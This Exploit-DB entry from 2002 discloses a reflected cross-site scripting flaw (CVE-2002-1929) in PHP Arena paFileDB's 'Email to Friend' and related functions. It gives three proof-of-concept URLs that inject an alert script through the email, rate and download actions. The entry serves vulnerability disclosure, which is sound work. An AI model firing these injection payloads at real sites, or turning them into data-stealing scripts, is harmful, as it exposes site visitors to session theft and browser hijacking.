PHP Arena PAFileDB 1.1.3/2.1.1/3.0 Email To Friend Cross-Site Scripting Vulnerability

2002-10-21T00:00:00
ID EDB-ID:21957
Type exploitdb
Reporter ersatz
Modified 2002-10-21T00:00:00

Description

PHP Arena PAFileDB 1.1.3/2.1.1/3.0 Email To Friend Cross-Site Scripting Vulnerability. CVE-2002-1929. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/6018/info

PHP Arena paFileDB is prone to cross-site scripting attacks.

An attacker may construct a malicious link to the vulnerable script which contains arbitrary HTML and script code. If this link is visited by a web user, the attacker-supplied code will execute in their web client in the security context of the paFileDB site.

This issue is in the "Email to Friend" function of the paFileDB script. 

http://www.example.com/downloads/pafiledb.php?action=email&id=4?"<script>alert('Testing')</script>" 

http://www.example.com/downloads/pafiledb.php?action=rate&id=4?"<script>alert('Testing')</script>" 

http://www.example.com/downloads/pafiledb.php?action=download&id=4?"<script>alert('Testing')</script>"